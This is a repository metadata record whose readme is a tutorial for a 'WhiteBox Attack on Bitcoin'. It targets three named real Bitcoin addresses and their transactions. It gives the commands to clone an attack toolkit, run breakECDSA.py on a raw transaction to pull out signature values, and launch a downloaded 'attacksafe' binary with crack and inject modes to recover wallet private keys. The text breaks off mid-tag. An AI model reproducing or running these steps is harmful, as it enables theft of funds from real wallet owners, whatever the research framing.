{"id":19915496,"url":"https://github.com/demining/whitebox-attack","last_synced_at":"2026-02-16T00:31:57.105Z","repository":{"id":144620990,"uuid":"565546723","full_name":"demining/WhiteBox-Attack","owner":"demining","description":"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key","archived":false,"fork":false,"pushed_at":"2022-12-07T01:00:24.000Z","size":8000,"stargazers_count":3,"open_issues_count":0,"forks_count":1,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-09-19T02:46:18.632Z","etag":null,"topics":["attack","bitcoin","bitcoin-wallet","ecdsa","ecdsa-cryptography","ecdsa-signature","privatekey","signature"],"latest_commit_sha":null,"homepage":"https://cryptodeeptech.ru/whitebox-attack","language":"HTML","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/demining.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-11-13T18:44:23.000Z","updated_at":"2024-08-12T20:28:20.000Z","dependencies_parsed_at":null,"dependency_job_id":"341c9ec7-702b-42f1-89c9-8a4c162b0265","html_url":"https://github.com/demining/WhiteBox-Attack","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/demining/WhiteBox-Attack","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FWhiteBox-Attack","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FWhiteBox-Attack/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FWhiteBox-Attack/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FWhiteBox-Attack/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/demining","download_url":"https://codeload.github.com/demining/WhiteBox-Attack/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FWhiteBox-Attack/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29494987,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-16T00:16:34.147Z","status":"ssl_error","status_checked_at":"2026-02-16T00:15:26.759Z","response_time":118,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["attack","bitcoin","bitcoin-wallet","ecdsa","ecdsa-cryptography","ecdsa-signature","privatekey","signature"],"created_at":"2024-11-12T21:40:20.210Z","updated_at":"2026-02-16T00:31:57.086Z","avatar_url":"https://github.com/demining.png","language":"HTML","funding_links":[],"categories":[],"sub_categories":[],"readme":"\n# WhiteBox Attack\n\n---\n\n\n---\n\n\n\n\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/023-1-1024x576.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1685\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n---\n\n\n* Tutorial: https://youtu.be/dLy74McEFTg\n* Tutorial: https://cryptodeeptech.ru/whitebox-attack\n\n\n---\n\n\u003cp\u003eIn this article, we will again touch on the topic of a signature failure in a blockchain transaction and apply a completely new attack:\u0026nbsp;\u003ca href=\"https://attacksafe.ru/whitebox-attack-on-bitcoin\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e“WhiteBox Attack on Bitcoin”\u003c/a\u003e\u0026nbsp;.\u003cbr\u003eDifferential fault analysis\u0026nbsp;\u003ccode\u003e(DFA)\u003c/code\u003ewas briefly described in the literature in 1996 when\u0026nbsp;\u003cem\u003ean Israeli cryptographer and cryptanalyst\u003c/em\u003e\u0026nbsp;\u003ccode\u003eEli Biham\u003c/code\u003e\u0026nbsp;and\u0026nbsp;\u003cem\u003ean Israeli scientist\u003c/em\u003e\u0026nbsp;\u003ccode\u003eAdi Shamir\u003c/code\u003e\u0026nbsp;showed that they could use error injection to extract the\u0026nbsp;\u003cem\u003esecret key\u003c/em\u003e\u0026nbsp;and recover the\u0026nbsp;\u003cem\u003eprivate key\u003c/em\u003e\u0026nbsp;using various signature and verification algorithms.\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-6-1024x467.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1544\"\u003e\u003c/figure\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-7.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1546\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/crypto.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1541\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-10-1.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1567\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003eWe implement the\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://attacksafe.ru/whitebox-attack-on-bitcoin\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e“WhiteBox Attack on Bitcoin”\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;with the differential bugs described in this research paper.\u0026nbsp;The classic\u0026nbsp;\u003ccode\u003eDFA\u003c/code\u003ethat we described in the previous\u0026nbsp;\u003ca href=\"https://cryptodeep.ru/rowhammer-attack/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003earticle\u003c/a\u003e\u0026nbsp;is called\u0026nbsp;\u003ccode\u003eF()\u003c/code\u003e.\u0026nbsp;Some of these attacks also require two signature pairs\u0026nbsp;\u003ccode\u003eECDSA\u003c/code\u003e.\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003ca href=\"https://attacksafe.ru/whitebox-attack-on-bitcoin\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-9-1.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1565\"\u003e\u003c/a\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://attacksafe.ru/whitebox-attack-on-bitcoin\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003ewww.attacksafe.ru/whitebox-attack-on-bitcoin\u003c/strong\u003e\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003eThe theoretical part of this attack can be found in the article from the list of popular Bitcoin attacks:\u0026nbsp;\u003ca href=\"https://attacksafe.ru/whitebox-attack-on-bitcoin/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003e“WhiteBox Attack on Bitcoin”\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eFrom our early\u0026nbsp;\u003ca href=\"https://cryptodeep.ru/publication/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003epublications,\u003c/a\u003e\u0026nbsp;we know that there are a lot of vulnerable and weak transactions in the Bitcoin blockchain, and in the process of our cryptanalysis, we found many Bitcoin Addresses where a large number of signatures\u0026nbsp;\u003ccode\u003eECDSA\u003c/code\u003ewere made with the disclosure of the secret key\u0026nbsp;\u003ccode\u003e\"K\" (NONCE)\u003c/code\u003e.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eAs a result, knowing the secret key, we can accurately obtain the private key to the Bitcoin Wallet.\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eConsider three Bitcoin Addresses:\u003c/h2\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eEach Bitcoin Address made two critical vulnerable transactions:\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/60d6685d9945ee4037ac6621136e98b53bc97cf71bf2b45f9b93086eebf4a499\"\u003ehttps://btc1.trezor.io/tx/60d6685d9945ee4037ac6621136e98b53bc97cf71bf2b45f9b93086eebf4a499\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/6c857473097543b32702c5f731a3e4c5cb01a1a5ae4bcd1a297b5848acbe8aba\"\u003ehttps://btc1.trezor.io/tx/6c857473097543b32702c5f731a3e4c5cb01a1a5ae4bcd1a297b5848acbe8aba\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-1024x201.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1523\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-1-1024x199.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1525\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e12bXHGbbWeqyixHpNjeSmq271ennbLRXh9\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/ee10964f25b1888e63726faaf8b8d67779dccebdfdd9b45225fce54d0aa1b80f\"\u003ehttps://btc1.trezor.io/tx/ee10964f25b1888e63726faaf8b8d67779dccebdfdd9b45225fce54d0aa1b80f\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/f4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6\"\u003ehttps://btc1.trezor.io/tx/f4a5275858cadcb6c2d2d605fcfe6b192560a2a18d9317c22bc37b77b6533ed6\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-2-1024x201.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1527\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-3-1024x202.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1529\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e15wGrVZpLjfg47ZG43hHuJtrfdQyNFYGNz\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/c8bbc3b05bc3a560ed5f4655c73cccf5cf6ff09b62279691df06ad8a121c9859\"\u003ehttps://btc1.trezor.io/tx/c8bbc3b05bc3a560ed5f4655c73cccf5cf6ff09b62279691df06ad8a121c9859\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e\"\u003ehttps://btc1.trezor.io/tx/1bd43bdeb2d76f0c24eef5abddfdc439f02406375ccc02d44299715b057bdf7e\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-4-1024x201.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1531\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-5-1024x200.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1533\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eDisclosure of the secret key “K” (NONCE) in the Bitcoin blockchain\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eOpen\u0026nbsp;\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/TerminalGoogleColab\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e[TerminalGoogleColab]\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;.\u003c/p\u003e\n\n\n\n\u003cp\u003eImplementing an efficient\u0026nbsp;\u003ca href=\"https://attacksafe.ru/whitebox-attack-on-bitcoin/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eWhiteBox Attack\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;algorithm using our\u0026nbsp;\u003ca href=\"https://github.com/demining/CryptoDeepTools/tree/main/16WhiteBoxAttack\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003e16WhiteBoxAttack repository\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003egit clone https://github.com/demining/CryptoDeepTools.git\n\ncd CryptoDeepTools/16WhiteBoxAttack/\n\nls\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-11-1024x531.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1575\"\u003e\u003c/figure\u003e\n\n\n\n\u003ch3\u003eInstall all the packages we need\u003c/h3\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-11.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-687\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003cstrong\u003e\u003ccode\u003erequirements.txt\u003c/code\u003e\u003c/strong\u003e\u003c/figcaption\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ewget https://bootstrap.pypa.io/pip/2.7/get-pip.py\n\nsudo python2 get-pip.py\n\npip2 install -r requirements.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-111-1024x448.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1175\"\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-112-1024x452.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1177\"\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-114-1024x452.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1179\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003ePrepare RawTX for the attack\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003e\u003c/h2\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/60d6685d9945ee4037ac6621136e98b53bc97cf71bf2b45f9b93086eebf4a499\"\u003ehttps://btc1.trezor.io/tx/60d6685d9945ee4037ac6621136e98b53bc97cf71bf2b45f9b93086eebf4a499\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-12-1024x142.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1577\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eRawTX = 0100000001a60ae2965c16c0a72bb764ec4f6f0dc6acfd3af3f49a73c06ae48ddfe4a7b76b020000006a473044022015e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff0102202d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff019e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2\u003eNow we need to get all R, S, Z values ​​from all vulnerable transactions\u003c/h2\u003e\n\n\n\n\u003cp\u003eLet’s use the breakECDSA.py script\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython2 breakECDSA.py 0100000001a60ae2965c16c0a72bb764ec4f6f0dc6acfd3af3f49a73c06ae48ddfe4a7b76b020000006a473044022015e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff0102202d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff019e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-14-1024x281.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1581\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR = 0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01\nS = 0x2d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3\nZ = 0x793c00bdb7c96e19cb2670f3aec5369558b64f0e12645af070d94c2fc06db6ed\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eTo implement the attack and get the secret key, we will use the\u0026nbsp;\u003c/strong\u003e\u003cstrong\u003e\u003ca href=\"https://attacksafe.ru/software/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e“ATTACKSAFE SOFTWARE” software\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003ca href=\"https://attacksafe.ru/software/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-14.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-705\"\u003e\u003c/a\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003cstrong\u003e\u003ccode\u003ewww.attacksafe.ru/software\u003c/code\u003e\u003c/strong\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003ch2\u003eAccess rights:\u003c/h2\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003echmod +x attacksafe\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-15.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1583\"\u003e\u003c/figure\u003e\n\n\n\n\u003ch2\u003eApplication:\u003c/h2\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e./attacksafe -help\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-17.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1586\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e  -version:  software version \n  -list:     list of bitcoin attacks\n  -tool:     indicate the attack\n  -gpu:      enable gpu\n  -time:     work timeout\n  -server:   server mode\n  -port:     server port\n  -open:     open file\n  -save:     save file\n  -search:   vulnerability search\n  -stop:     stop at mode\n  -max:      maximum quantity in mode\n  -min:      minimum quantity per mode\n  -speed:    boost speed for mode\n  -range:    specific range\n  -crack:    crack mode\n  -field:    starting field\n  -point:    starting point\n  -inject:   injection regimen\n  -decode:   decoding mode\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e./attacksafe -version\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-18.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" 